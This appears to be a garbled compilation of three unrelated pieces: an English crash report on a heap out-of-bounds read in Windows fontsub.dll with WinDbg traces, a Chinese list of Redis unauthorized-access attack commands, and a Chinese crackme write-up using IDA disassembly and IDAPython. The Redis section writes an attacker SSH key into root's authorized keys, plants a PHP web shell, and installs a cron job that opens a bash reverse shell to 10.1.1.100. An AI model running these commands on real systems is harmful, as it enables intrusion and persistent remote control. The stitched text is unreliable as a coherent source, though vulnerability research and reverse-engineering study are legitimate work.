if ( *a6 < a7 )
*a6 = a7;
if ( v26 >= 0 )
{
LABEL_21:
result = 0i64;
}
else
{
v14 = GetGenericSize(&GLYF_HEADER_CONTROL);
v15 = v23 + v14;
while ( *v11 < a5 ) // recursive condition, set breakpotin
{
result = ReadWord(v12, &v22, v15);
if ( (_WORD)result )
return result;
v16 = v15 + 2;
result = ReadWord(v12, &v23, v16);
if ( (_WORD)result )
return result;
v17 = v23;
*(_WORD *)(v10 + 2i64 * *v11) = v23;
v18 = v22;
v19 = v22 & 1;
v20 = *v11 + 1;
*v11 = v20;
v15 = v16 + 2 * v19 + 4;
if ( v18 & 8 )
{
v15 += 2;
}
else if ( v18 & 0x40 )
{
v15 += 4;
}
else if ( v18 < 0 )
{
v15 += 8;
}
result = GetComponentGlyphList( //recursive call
(__int64)v12,
v17,
(unsigned __int16 *)&v24,
v25 + 2i64 * v20,
a5 - v20,
a6,
a7 + 1,
a8,
a9,
a10);
if ( (_WORD)result )
return result;
if ( v24 )
*v11 += v24;
if ( !(v18 & 0x20) )
goto LABEL_21;
v10 = v25;
}
result = 1066i64;
}
}
return result;
}
recursive condition
cmp [rsi], r12w
watch [rsi]
data
mov rsi, r8
mov [rsp+0C0h+var_90], rax
xor ebx, ebx
lea rax, [rbp+3Fh+var_58]
mov [r8], bx // [rsi] always 0
you can see, [rsi]
always is 0
, if r12w
is large, recursive call GetComponentGlyphList
will cause stack exhaustion.
If use a specific ttf file, it may cause some security issues.
The issue reproduces on a fully updated Windows 10 1903,I haven't tested on earlier versions of the system.
attachment is a poc ttf file
Please excuse my poor English. I'm not a native speaker. I will do my best to describe this bug.
I tested on sytem
windows 10 professional
v1903 x64 bit
The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.
The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. I have tested CreateFontPackage
with a fuzzer.
when I use a specific ttf file with CreateFontPackage
, it crashed
0:000> g
(3b28.2074): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 3A2:0
msvcrt!memcpy+0x220:
00007ffb`b4544920 f30f7f40f0 movdqu xmmword ptr [rax-10h],xmm0 ds:00000285`c7d0730a=????????????????????????????????
stack call
0:000> kb
# RetAddr : Args to Child : Call Site
00 00007ffb`a52a962a : 000000db`0376f3e8 0000017a`00000a7c 00005d61`c54c9886 000000db`0376f400 : msvcrt!memcpy+0x220
01 00007ffb`a52a927f : 00000000`fffffff0 000000db`0376f331 000000db`0376f3e8 00000000`0000017a : fontsub!ReadBytes+0x3e
02 00007ffb`a52a09b1 : 00000000`000001dc 000000db`0376f3e8 000000db`0376f3e8 00007ffb`a52a94f9 : fontsub!CopyTableOver+0xc7
03 00007ffb`a52973d3 : 00000000`00000000 000000db`0376f3e8 00000000`00000000 000000db`03760009 : fontsub!ModCmap+0x7d
04 00007ffb`a5296f89 : 00000284`c7cd1460 000000db`0376f591 00000000`00000001 00000000`00000001 : fontsub!CreateDeltaTTFEx+0x40f
05 00007ffb`a52913fa : 00000000`00000000 00000000`00000000 0000a4b2`e51c6297 00000000`00000000 : fontsub!CreateDeltaTTF+0x2c9
06 00007ff7`143d11c8 : 00000000`00000000 00000000`00000000 00000000`00000000 00000284`c7d05170 : fontsub!CreateFontPackage+0x15a
debug with time travel, return to function fontsub!ReadBytes
0:000> uf fontsub!ReadBytes:
00007ffb`a52a95ec 48895c2408 mov qword ptr [rsp+8],rbx
00007ffb`a52a95f1 48896c2410 mov qword ptr [rsp+10h],rbp
00007ffb`a52a95f6 4889742418 mov qword ptr [rsp+18h],rsi
00007ffb`a52a95fb 57 push rdi
00007ffb`a52a95fc 4883ec20 sub rsp,20h
00007ffb`a52a9600 418bd8 mov ebx,r8d
00007ffb`a52a9603 488bf2 mov rsi,rdx
00007ffb`a52a9606 8bd3 mov edx,ebx
00007ffb`a52a9608 4d8bc1 mov r8,r9
00007ffb`a52a960b 4d8bd9 mov r11,r9
00007ffb`a52a960e 488bf9 mov rdi,rcx
00007ffb`a52a9611 e8f6fdffff call fontsub!CheckInOffset (00007ffb`a52a940c)
00007ffb`a52a9616 33ed xor ebp,ebp
00007ffb`a52a9618 6685c0 test ax,ax
00007ffb`a52a961b 7510 jne fontsub!ReadBytes+0x41 (00007ffb`a52a962d) Branch
fontsub!ReadBytes+0x31:
00007ffb`a52a961d 8bd3 mov edx,ebx
00007ffb`a52a961f 488bce mov rcx,rsi
00007ffb`a52a9622 480317 add rdx,qword ptr [rdi]
00007ffb`a52a9625 e8e8130000 call fontsub!memcpy (00007ffb`a52aaa12)
00007ffb`a52a962a 0fb7c5 movzx eax,bp
fontsub!ReadBytes+0x41:
00007ffb`a52a962d 488b5c2430 mov rbx,qword ptr [rsp+30h]
00007ffb`a52a9632 488b6c2438 mov rbp,qword ptr [rsp+38h]
00007ffb`a52a9637 488b742440 mov rsi,qword ptr [rsp+40h]
00007ffb`a52a963c 4883c420 add rsp,20h
00007ffb`a52a9640 5f pop rdi
00007ffb`a52a9641 c3 ret
set breakpint in
00007ffb`a52a9625 e8e8130000 call fontsub!memcpy (00007ffb`a52aaa12)
check
0:000> ub .
fontsub!ReadBytes+0x22:
00007ffb`a52a960e 488bf9 mov rdi,rcx
00007ffb`a52a9611 e8f6fdffff call fontsub!CheckInOffset (00007ffb`a52a940c)
00007ffb`a52a9616 33ed xor ebp,ebp
00007ffb`a52a9618 6685c0 test ax,ax
00007ffb`a52a961b 7510 jne fontsub!ReadBytes+0x41 (00007ffb`a52a962d)
00007ffb`a52a961d 8bd3 mov edx,ebx
00007ffb`a52a961f 488bce mov rcx,rsi
00007ffb`a52a9622 480317 add rdx,qword ptr [rdi]
0:000> ? rcx
Evaluate expression: 2773606232480 = 00000285`c7d071a0
0:000> ? rdx
Evaluate expression: 2769311261228 = 00000284`c7d0622c
0:000> dd rdx
00000284`c7d0622c 03000000 00000000 24010000 00000100
00000284`c7d0623c 1c000000 01000300 24010000 06010000
00000284`c7d0624c 00010000 00000000 03000000 02000000
00000284`c7d0625c 00000000 00000000 00000000 00000000
00000284`c7d0626c 00030000 00000000 00000000 00000000
00000284`c7d0627c 00000000 00000000 00000000 00000000
00000284`c7d0628c 00000000 04000000 00050000 00000000
00000284`c7d0629c 00000000 00000000 00000600 00000000
0:000> dps rdx
00000284`c7d0622c 00000000`03000000
00000284`c7d06234 00000100`24010000
00000284`c7d0623c 01000300`1c000000
00000284`c7d06244 06010000`24010000
00000284`c7d0624c 00000000`00010000
00000284`c7d06254 02000000`03000000
00000284`c7d0625c 00000000`00000000
00000284`c7d06264 00000000`00000000
00000284`c7d0626c 00000000`00030000
00000284`c7d06274 00000000`00000000
00000284`c7d0627c 00000000`00000000
00000284`c7d06284 00000000`00000000
00000284`c7d0628c 04000000`00000000
00000284`c7d06294 00000000`00050000
00000284`c7d0629c 00000000`00000000
00000284`c7d062a4 00000000`00000600
0:000> dd 00000000`03000000
00000000`03000000 ???????? ???????? ???????? ????????
00000000`03000010 ???????? ???????? ???????? ????????
00000000`03000020 ???????? ???????? ???????? ????????
00000000`03000030 ???????? ???????? ???????? ????????
00000000`03000040 ???????? ???????? ???????? ????????
00000000`03000050 ???????? ???????? ???????? ????????
00000000`03000060 ???????? ???????? ???????? ????????
00000000`03000070 ???????? ???????? ???????? ????????
memcpy
use rdx
as src, but it can not be accessed.
So it crashed. Because rdx
in heap memory, so case heap-base out of bounds.
0:000> !heap -p -a rdx
address 00000284c7d0622c found in
_HEAP @ 284c7cf0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
00000284c7d057a0 00da 0000 [00] 00000284c7d057b0 00d8d - (busy)
rdx
in heap memory, and its data read from ttf file, so it can be controled. It may cause some import security issues.
利用主要存在三种方式
准备
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > ssh_key.txt
attacker # cat ssh_key.txt > redis-cli -h victim_ip -x set crashtest
> config set dir /root/.ssh
> config set dbfilename authorized_hosts
> save
> config set dir /var/www/html
> config set dbfilename index.php
> set shell "<?php system($_GET['cmd']);?>"
> save
echo "\n\n */1 * * * * bash -i >& /dev/tcp/10.1.1.100/2333 0>&1 \n\n" | redis-cli -h 10.1.1.212 -x set 1
redis-cli -h 10.1.1.212
$10.1.1.212:6379> CONFIG set dir /var/spool/cron
$10.1.1.212:6379> CONFIG set dbfilename root
$10.1.1.212:6379> save
同样是写计划任务,也可以将命令先写入/tmp/shell
中,之后利用计划任务持续执行,从而保持可持续化!
存在ASLR保护
通过CFF Explorer绕过ASLR
其中call esi
调用的是CreateMutexW
,程序验证操作是通过调用自己创建子进程来实现的,在子进程中判断一个互斥变量来决定进入的是子进程还是父进程。现在可以总结有两种方法调试:
CreateMutexW
,到判断程序进行操作现在利用方法1调试程序,我们首先跟进一下CreateProcessW
看看参数是以什么方式传递的
可以看到参数的传递是以unicode
的形式传递的,并且中间以FF00
间隔。
在CreateMutex
下断点,运行断在断点,直接右键将GetCommandLineW
设置为新的EIP
可以发现GetCommandLineW
将程序的路径作为参数传递进来,而且也是以unicode
的形式传递的。如果我们直接继续运行,那么会产生栈溢出。
产生栈溢出的原因我们可以首先推敲一下,
GetCommandLineW
划分参数是通过FF00
来判断的,但我们发现如果在不改变GetCommandLineW
返回值的情况下,在数据窗口中没有看到任何FF00
数据,那获取前一段数据的代码就极有可能发生溢出!通过分析后面的汇编代码也确实是这样,分配给name的长度是20h,分配给序列号的最大长度是(3c-20)h,作为name局部变量数组ebp-20h
肯定会覆盖ebp-4
这部分检查cookie的数据,所以会造成溢出!
利用od跳过互斥变量,之后再利用CreateCommandLineA
获取命令行参数,主要有以下几点
FF00
0000
利用以上的方法跳过创建子进程的过程进入验证码判断的过程,
在调用call loc_401350
之后判断返回的eax,非0即成功。现在分析一下loc_401350这个过程
.text:00401350 loc_401350: ; CODE XREF: _main+173↓p
.text:00401350 push ebp
.text:00401351 mov ebp, esp
.text:00401353 sub esp, 0B0h
.text:00401359 mov eax, ___security_cookie
.text:0040135E xor eax, ebp
.text:00401360 mov [ebp-4], eax
.text:00401363 mov dword ptr [ebp-0A4h], 0
.text:0040136D mov dword ptr [ebp-0A0h], 0
.text:00401377 push 60h
.text:00401379 push 0
.text:0040137B lea eax, [ebp-9Ch]
.text:00401381 push eax
.text:00401382 call memset
.text:00401387 add esp, 0Ch
.text:0040138A mov byte ptr [ebp-3Ch], 0
.text:0040138E xor ecx, ecx
.text:00401390 mov [ebp-3Bh], ecx
.text:00401393 mov [ebp-37h], ecx
.text:00401396 mov [ebp-33h], ecx
.text:00401399 mov [ebp-2Fh], ecx
.text:0040139C mov [ebp-2Bh], ecx
.text:0040139F mov [ebp-27h], ecx
.text:004013A2 mov byte ptr [ebp-20h], 0
.text:004013A6 xor edx, edx
.text:004013A8 mov [ebp-1Fh], edx
.text:004013AB mov [ebp-1Bh], edx
.text:004013AE mov [ebp-17h], edx
.text:004013B1 mov [ebp-13h], edx
.text:004013B4 mov [ebp-0Fh], edx
.text:004013B7 mov [ebp-0Bh], edx
.text:004013BA mov eax, [ebp+8]
.text:004013BD mov [ebp-0A8h], eax
.text:004013C3
.text:004013C3 loc_4013C3: ; CODE XREF: .text:004013FE↓j
.text:004013C3 mov ecx, [ebp-0A8h]
.text:004013C9 add ecx, [ebp-0A4h]
.text:004013CF mov edx, [ebp-0A4h]
.text:004013D5 mov al, [ecx]
.text:004013D7 mov [ebp+edx-3Ch], al
.text:004013DB mov ecx, [ebp-0A4h]
.text:004013E1 add ecx, 1
.text:004013E4 mov [ebp-0A4h], ecx
.text:004013EA mov edx, [ebp-0A8h]
.text:004013F0 add edx, [ebp-0A4h]
.text:004013F6 movzx eax, byte ptr [edx]
.text:004013F9 cmp eax, 0FFh
.text:004013FE jnz short loc_4013C3
.text:00401400 mov ecx, [ebp-0A4h]
.text:00401406 add ecx, 1
.text:00401409 mov [ebp-0A4h], ecx
.text:0040140F mov dword ptr [ebp-0ACh], 0
.text:00401419
.text:00401419 loc_401419: ; CODE XREF: .text:00401460↓j
.text:00401419 mov edx, [ebp-0A8h]
.text:0040141F add edx, [ebp-0A4h]
.text:00401425 mov eax, [ebp-0ACh]
.text:0040142B mov cl, [edx]
.text:0040142D mov [ebp+eax-20h], cl
.text:00401431 mov edx, [ebp-0A4h]
.text:00401437 add edx, 1
.text:0040143A mov [ebp-0A4h], edx
.text:00401440 mov eax, [ebp-0ACh]
.text:00401446 add eax, 1
.text:00401449 mov [ebp-0ACh], eax
.text:0040144F mov ecx, [ebp-0A8h]
.text:00401455 add ecx, [ebp-0A4h]
.text:0040145B movzx edx, byte ptr [ecx]
.text:0040145E test edx, edx
.text:00401460 jnz short loc_401419
.text:00401462 add eax, 1
.text:00401465 xor eax, eax
.text:00401467 sub eax, 1
.text:0040146A xor eax, eax
.text:0040146C jnz short near ptr loc_401470+1
.text:0040146E jz short near ptr loc_401470+1
.text:00401470
.text:00401470 loc_401470: ; CODE XREF: .text:0040146C↑j
.text:00401470 ; .text:0040146E↑j
.text:00401470 xor esi, [ebx]
.text:00401472 leave
.text:00401473 call sub_401000
.text:00401478 push eax
.text:00401479 call ds:srand
.text:0040147F add esp, 4
.text:00401482 mov dword ptr [ebp-0A4h], 0
.text:0040148C
.text:0040148C loc_40148C: ; CODE XREF: .text:004014DB↓j
.text:0040148C xor eax, eax
.text:0040148E jnz short near ptr loc_401492+2
.text:00401490 jz short near ptr loc_401492+2
.text:00401492
.text:00401492 loc_401492: ; CODE XREF: .text:0040148E↑j
.text:00401492 ; .text:00401490↑j
.text:00401492 call near ptr 0A0561397h
.text:00401497 xor [eax+0], al
.text:0040149A and eax, 800000FFh
.text:0040149F jns short loc_4014A8
.text:004014A1 dec eax
.text:004014A2 or eax, 0FFFFFF00h
.text:004014A7 inc eax
.text:004014A8
.text:004014A8 loc_4014A8: ; CODE XREF: .text:0040149F↑j
.text:004014A8 mov ecx, [ebp-0A4h]
.text:004014AE movzx edx, byte ptr [ebp+ecx-3Ch]
.text:004014B3 xor edx, eax
.text:004014B5 mov eax, [ebp-0A4h]
.text:004014BB mov [ebp+eax-3Ch], dl
.text:004014BF mov ecx, [ebp-0A4h]
.text:004014C5 add ecx, 1
.text:004014C8 mov [ebp-0A4h], ecx
.text:004014CE mov edx, [ebp-0A4h]
.text:004014D4 movzx eax, byte ptr [ebp+edx-3Ch]
.text:004014D9 test eax, eax
.text:004014DB jnz short loc_40148C
.text:004014DD mov dword ptr [ebp-0A4h], 0
.text:004014E7
.text:004014E7 loc_4014E7: ; CODE XREF: .text:0040152E↓j
.text:004014E7 call ds:rand
.text:004014ED and eax, 800000FFh
.text:004014F2 jns short loc_4014FB
.text:004014F4 dec eax
.text:004014F5 or eax, 0FFFFFF00h
.text:004014FA inc eax
.text:004014FB
.text:004014FB loc_4014FB: ; CODE XREF: .text:004014F2↑j
.text:004014FB mov ecx, [ebp-0A4h]
.text:00401501 movzx edx, byte ptr [ebp+ecx-20h]
.text:00401506 xor edx, eax
.text:00401508 mov eax, [ebp-0A4h]
.text:0040150E mov [ebp+eax-20h], dl
.text:00401512 mov ecx, [ebp-0A4h]
.text:00401518 add ecx, 1
.text:0040151B mov [ebp-0A4h], ecx
.text:00401521 mov edx, [ebp-0A4h]
.text:00401527 movzx eax, byte ptr [ebp+edx-20h]
.text:0040152C test eax, eax
.text:0040152E jnz short loc_4014E7
.text:00401530 mov dword ptr [ebp-0A4h], 0
.text:0040153A xor eax, eax
.text:0040153C jnz short near ptr loc_401543+2
.text:0040153E jz short near ptr loc_401543+2
.text:00401540 xor ebp, eax
.text:00401542 clc
.text:00401543
.text:00401543 loc_401543: ; CODE XREF: .text:0040153C↑j
.text:00401543 ; .text:0040153E↑j ...
.text:00401543 mov eax, 5C8D8B00h
.text:00401543 ; ---------------------------------------------------------------------------
.text:00401548 db 0FFh
.text:00401549 db 0FFh
.text:0040154A ; ---------------------------------------------------------------------------
.text:0040154A dec dword ptr [edi]
.text:0040154C mov dh, 54h
.text:0040154E or eax, 3E2C1C4h
.text:00401553 mov eax, [ebp-0A4h]
.text:00401559 mov [ebp+eax-3Ch], dl
.text:0040155D mov ecx, [ebp-0A4h]
.text:00401563 add ecx, 1
.text:00401566 mov [ebp-0A4h], ecx
.text:0040156C mov edx, [ebp-0A4h]
.text:00401572 movzx eax, byte ptr [ebp+edx-3Ch]
.text:00401577 test eax, eax
.text:00401579 jnz short near ptr loc_401543+2
.text:0040157B mov dword ptr [ebp-0A4h], 0
.text:00401585
.text:00401585 loc_401585: ; CODE XREF: .text:004015B9↓j
.text:00401585 mov ecx, [ebp-0A4h]
.text:0040158B movzx edx, byte ptr [ebp+ecx-20h]
.text:00401590 shl edx, 5
.text:00401593 mov eax, [ebp-0A4h]
.text:00401599 mov [ebp+eax-20h], dl
.text:0040159D mov ecx, [ebp-0A4h]
.text:004015A3 add ecx, 1
.text:004015A6 mov [ebp-0A4h], ecx
.text:004015AC mov edx, [ebp-0A4h]
.text:004015B2 movzx eax, byte ptr [ebp+edx-20h]
.text:004015B7 test eax, eax
.text:004015B9 jnz short loc_401585
.text:004015BB mov dword ptr [ebp-0A4h], 0
.text:004015C5
.text:004015C5 loc_4015C5: ; CODE XREF: .text:00401639↓j
.text:004015C5 mov ecx, [ebp-0A4h]
.text:004015CB movzx edx, byte ptr [ebp+ecx-3Ch]
.text:004015D0 mov eax, [ebp-0A4h]
.text:004015D6 movzx ecx, byte ptr [ebp+eax-20h]
.text:004015DB xor ecx, edx
.text:004015DD mov edx, [ebp-0A4h]
.text:004015E3 mov [ebp+edx-20h], cl
.text:004015E7 mov eax, [ebp-0A4h]
.text:004015ED movzx ecx, byte ptr [ebp+eax-20h]
.text:004015F2 mov edx, [ebp-0A4h]
.text:004015F8 movzx eax, byte_404018[edx]
.text:004015FF cmp ecx, eax
.text:00401601 jnz short loc_40161D
.text:00401603 mov ecx, [ebp-0A4h]
.text:00401609 movzx edx, byte ptr [ebp+ecx-20h]
.text:0040160E push edx
.text:0040160F push offset a02x ; "%02X"
.text:00401614 call ds:wprintf
.text:0040161A add esp, 8
.text:0040161D
.text:0040161D loc_40161D: ; CODE XREF: .text:00401601↑j
.text:0040161D mov eax, [ebp-0A4h]
.text:00401623 add eax, 1
.text:00401626 mov [ebp-0A4h], eax
.text:0040162C mov ecx, [ebp-0A4h]
.text:00401632 movzx edx, byte ptr [ebp+ecx-20h]
.text:00401637 test edx, edx
.text:00401639 jnz short loc_4015C5
.text:0040163B mov eax, dword_404040
.text:00401640 mov [ebp-0B0h], eax
.text:00401646 mov eax, [ebp-0B0h]
.text:0040164C mov ecx, [ebp-4]
.text:0040164F xor ecx, ebp
.text:00401651 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401656 mov esp, ebp
.text:00401658 pop ebp
.text:00401659 retn
开始时,详细分析了该段代码的作用,发现其就是来回的判断name和serial的数据,并没有进行任何实质性的判断操作,在代码的最后才发现起作用的就这一段
.text:0040163B mov eax, dword_404040
.text:00401640 mov [ebp-0B0h], eax
.text:00401646 mov eax, [ebp-0B0h]
.text:0040164C mov ecx, [ebp-4]
.text:0040164F xor ecx, ebp
.text:00401651 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401656 mov esp, ebp
.text:00401658 pop ebp
.text:00401659 retn
返回值eax
来自于dword_404040
,但是在loc_401350
开始位置,对00404040
位置设内存访问断点,只断在了最后这里,所以整个loc_401350
的过程都没有对dword_404040
这个数据进行操作,通过idapython
寻找所有操作dword_404040
数据的指令
import idaapi
import idc
import idautils
def find_op():
start = MinEA()
end = MaxEA()
curr_add = start
while curr_add < end:
asm = idc.GetDisasm(curr_add)
if asm and 'dword_404040' in asm:
print hex(curr_add), idc.GetDisasm(curr_add)
curr_add = idc.NextHead(curr_add)
if __name__ == '__main__':
find_op()
结果:
0x4011deL mov esi, dword_404040
0x40121fL mov dword_404040, esi
0x40163bL mov eax, dword_404040
第三个地址在loc_401350
中,前2个地址都在sub_401110
中,现在来好好分析这段代码
00401110 <re2_win1.sub_401110> 55 push ebp ; sub_401110
00401111 8BEC mov ebp,esp
00401113 81EC A0000000 sub esp,0xA0
00401119 A1 00404000 mov eax,dword ptr ds:[<___security_cookie>]
0040111E 33C5 xor eax,ebp
00401120 8945 FC mov dword ptr ss:[ebp-0x4],eax
00401123 56 push esi
00401124 0F57C0 xorps xmm0,xmm0
00401127 57 push edi
00401128 8BF9 mov edi,ecx
0040112A 33D2 xor edx,edx
0040112C 8A0F mov cl,byte ptr ds:[edi]
0040112E 8D75 E0 lea esi,dword ptr ss:[ebp-0x20]
00401131 8855 E0 mov byte ptr ss:[ebp-0x20],dl
00401134 660fd645 e1 movq qword ptr ss:[ebp-0x1f],xmm0
00401139 660fd645 e9 movq qword ptr ss:[ebp-0x17],xmm0
0040113E 660fd645 f1 movq qword ptr ss:[ebp-0xf],xmm0
00401143 8855 C4 mov byte ptr ss:[ebp-0x3C],dl
00401146 660fd645 c5 movq qword ptr ss:[ebp-0x3b],xmm0
0040114B 660fd645 cd movq qword ptr ss:[ebp-0x33],xmm0
00401150 660fd645 d5 movq qword ptr ss:[ebp-0x2b],xmm0
00401155 8BC7 mov eax,edi ; eax存储传递过来的GetCommandLineW获取的字符串
00401157 2BF7 sub esi,edi
00401159 8DA424 00000000 lea esp,dword ptr ss:[esp]
00401160 <re2_win1.loc_401160> 880C06 mov byte ptr ds:[esi+eax],cl ; 将name数据复制到[ebp-20h]中,遇到FF结束
00401163 8A48 01 mov cl,byte ptr ds:[eax+0x1]
00401166 8D40 01 lea eax,dword ptr ds:[eax+0x1]
00401169 42 inc edx
0040116A 80F9 FF cmp cl,0xFF
0040116D ^ 75 F1 jnz short <re2_win1.loc_401160>
0040116F 0FB605 54404000 movzx eax,byte ptr ds:[<byte_404054>] ; 将abcdefgh添加到name尾部
00401176 884415 E0 mov byte ptr ss:[ebp+edx-0x20],al
0040117A 0FB605 55404000 movzx eax,byte ptr ds:[<byte_404055>] ; bcdefgh
00401181 884415 E1 mov byte ptr ss:[ebp+edx-0x1F],al
00401185 0FB605 56404000 movzx eax,byte ptr ds:[<byte_404056>] ; cdefgh
0040118C 884415 E2 mov byte ptr ss:[ebp+edx-0x1E],al
00401190 0FB605 57404000 movzx eax,byte ptr ds:[<byte_404057>] ; defgh
00401197 884415 E3 mov byte ptr ss:[ebp+edx-0x1D],al
0040119B 0FB605 58404000 movzx eax,byte ptr ds:[<byte_404058>] ; efgh
004011A2 884415 E4 mov byte ptr ss:[ebp+edx-0x1C],al
004011A6 0FB605 59404000 movzx eax,byte ptr ds:[<byte_404059>] ; fgh
004011AD 884415 E5 mov byte ptr ss:[ebp+edx-0x1B],al
004011B1 0FB605 5A404000 movzx eax,byte ptr ds:[<byte_40405A>] ; gh
004011B8 884415 E6 mov byte ptr ss:[ebp+edx-0x1A],al
004011BC 0FB605 5B404000 movzx eax,byte ptr ds:[<byte_40405B>] ; h
004011C3 884415 E7 mov byte ptr ss:[ebp+edx-0x19],al
004011C7 42 inc edx
004011C8 8D4D C4 lea ecx,dword ptr ss:[ebp-0x3C]
004011CB 8D043A lea eax,dword ptr ds:[edx+edi]
004011CE 8A10 mov dl,byte ptr ds:[eax]
004011D0 <re2_win1.loc_4011D0> 8D40 01 lea eax,dword ptr ds:[eax+0x1] ; 将序列号复制到[ebp-3ch]中,遇到字符串结束符,结束复制
004011D3 8811 mov byte ptr ds:[ecx],dl
004011D5 8A10 mov dl,byte ptr ds:[eax]
004011D7 8D49 01 lea ecx,dword ptr ds:[ecx+0x1]
004011DA 84D2 test dl,dl
004011DC ^ 75 F2 jnz short <re2_win1.loc_4011D0>
004011DE 8B35 40404000 mov esi,dword ptr ds:[<dword_404040>]
004011E4 33C0 xor eax,eax
004011E6 EB 08 jmp short <re2_win1.loc_4011F0>
004011E8 8DA424 00000000 lea esp,dword ptr ss:[esp]
004011EF 90 nop
004011F0 <re2_win1.loc_4011F0> 0FB65405 C4 movzx edx,byte ptr ss:[ebp+eax-0x3C] ; 比较算法主干
004011F5 0FB64C05 E0 movzx ecx,byte ptr ss:[ebp+eax-0x20]
004011FA 03CA add ecx,edx ; 字符相加
004011FC A8 01 test al,0x1 ; 根据奇数位和偶数位分别判断
004011FE 74 10 je short <re2_win1.loc_401210>
00401200 C1E1 03 shl ecx,0x3
00401203 3B0C85 60404000 cmp ecx,dword ptr ds:[eax*4+<dword_404060>]
0040120A 74 19 je short <re2_win1.loc_401225>
0040120C 33F6 xor esi,esi
0040120E EB 0F jmp short <re2_win1.loc_40121F>
00401210 <re2_win1.loc_401210> C1E1 05 shl ecx,0x5 ; loc_401210
00401213 33D2 xor edx,edx
00401215 3B0C85 60404000 cmp ecx,dword ptr ds:[eax*4+<dword_404060>]
0040121C 0F45F2 cmovne esi,edx
0040121F <re2_win1.loc_40121F> 8935 40404000 mov dword ptr ds:[<dword_404040>],esi ; loc_40121F
00401225 <re2_win1.loc_401225> 40 inc eax ; loc_401225
00401226 83F8 17 cmp eax,0x17
00401229 ^ 7C C5 jl short <re2_win1.loc_4011F0>
0040122B 8B4D FC mov ecx,dword ptr ss:[ebp-0x4]
0040122E 5F pop edi
0040122F 33CD xor ecx,ebp
00401231 5E pop esi
00401232 E8 CE070000 call <re2_win1.__security_check_cookie(x)>
00401237 8BE5 mov esp,ebp
00401239 5D pop ebp
0040123A C3 retn
最后判断的那部分代码通过汇编代码直观不是很清晰,F5
来看C的伪代码,只看判断的那部分
v8 = dword_404040;
result = 0;
do
{
v10 = (unsigned __int8)*(&v11 + result) + (unsigned __int8)*(&v15 + result); // 这里就是将name和serial字符依次相加,汇编代码可能会比C更加直观
if ( result & 1 ) // 奇数位
{
if ( 8 * v10 == dword_404060[result] )
goto LABEL_12;
v8 = 0;
}
else if ( 32 * v10 != dword_404060[result] ) //偶数位判断
{
v8 = 0;
}
dword_404040 = v8;
LABEL_12:
++result;
}
return result;
其实即使变为C的伪代码,一开始我也犯混,有一个不等于在这增加了我们的迷惑感,这里需要我们很细心,慢慢分析其具体的判断逻辑,经过分析,简化代码如下
do {
v10 = name[i] + serial[i]
if (i % 2 == 1) // 奇数位
{
if (v10 * 8 == dword_404060[i])
{
goto label1
}
else {
dword_404040 = 0; // 等于0也就是判断失败
}
}
else { //偶数位
if (v10 * 32 == dword_404060[i])
{
goto label1
}
else {
dword_404040 = 0; // 等于0也就是判断失败
}
}
lable1:
result ++;
} while (result < 23)
这应该是比较直观的伪代码了!现在可以直观的看到验证过程,就是name(后面接了abcdefgh)+serial,并将结果与dword_404060
这个数组中的数据进行比较
.data:00404060 dword_404060 dd 13E0h ; DATA XREF: sub_401110+F3↑r
.data:00404060 ; sub_401110+105↑r
.data:00404064 db 0A0h
.data:00404065 db 6
.data:00404066 db 0
.data:00404067 db 0
.data:00404068 db 60h ; `
.data:00404069 db 1Bh
.data:0040406A db 0
.data:0040406B db 0
.data:0040406C db 70h ; p
.data:0040406D db 6
.data:0040406E db 0
.data:0040406F db 0
.data:00404070 db 0C0h
.data:00404071 db 19h
.data:00404072 db 0
.data:00404073 db 0
.data:00404074 db 70h ; p
.data:00404075 db 5
.data:00404076 db 0
.data:00404077 db 0
.data:00404078 db 0A0h
.data:00404079 db 16h
.data:0040407A db 0
.data:0040407B db 0
.data:0040407C db 40h ; @
.data:0040407D db 5
.data:0040407E db 0
.data:0040407F db 0
.data:00404080 db 0C0h
.data:00404081 db 16h
.data:00404082 db 0
.data:00404083 db 0
.data:00404084 db 90h
.data:00404085 db 4
.data:00404086 db 0
.data:00404087 db 0
.data:00404088 db 0A0h
.data:00404089 db 1Ch
.data:0040408A db 0
.data:0040408B db 0
.data:0040408C db 88h
.data:0040408D db 6
.data:0040408E db 0
.data:0040408F db 0
.data:00404090 db 80h ; €
.data:00404091 db 17h
.data:00404092 db 0
.data:00404093 db 0
.data:00404094 db 0F8h
.data:00404095 db 4
.data:00404096 db 0
.data:00404097 db 0
.data:00404098 db 20h
.data:00404099 db 1Ah
.data:0040409A db 0
.data:0040409B db 0
.data:0040409C db 10h
.data:0040409D db 5
.data:0040409E db 0
.data:0040409F db 0
.data:004040A0 db 0E0h
.data:004040A1 db 19h
.data:004040A2 db 0
.data:004040A3 db 0
.data:004040A4 db 20h
.data:004040A5 db 6
.data:004040A6 db 0
.data:004040A7 db 0
.data:004040A8 db 0C0h
.data:004040A9 db 1Bh
.data:004040AA db 0
.data:004040AB db 0
.data:004040AC db 0C0h
.data:004040AD db 4
.data:004040AE db 0
.data:004040AF db 0
.data:004040B0 db 0E0h
.data:004040B1 db 12h
.data:004040B2 db 0
.data:004040B3 db 0
.data:004040B4 db 0A8h
.data:004040B5 db 6
.data:004040B6 db 0
.data:004040B7 db 0
.data:004040B8 db 0E0h
.data:004040B9 db 19h
.data:004040BA db 0
.data:004040BB db 0
.data:004040BC db 0
.data:004040BD db 0
.data:004040BE db 0
.data:004040BF db 0
这是ida pro给我们的初始格式的数据,我们需要通过idapython
进行处理,来快速的获取到name+serial的结果之和
import idaapi
import idc
import idautils
def get_data():
start = int('0x00404060', 16)
end = int('0x004040BF', 16)
sign = 0
curr_addr = start
while curr_addr < end:
data = idc.Dword(curr_addr)
if sign & 1:
if data % 8 != 0:
print '#' * 10
handled = data / 8
print '%02x' % handled,
else:
if data % 32 != 0:
print '&' * 10
handled = data / 32
print '%02x' % handled,
sign += 1
curr_addr += 4
if __name__ == '__main__':
get_data()
结果:
9f d4 db ce ce ae b5 a8 b6 92 e5 d1 bc 9f d1 a2 cf c4 de 98 97 d5 cf 00
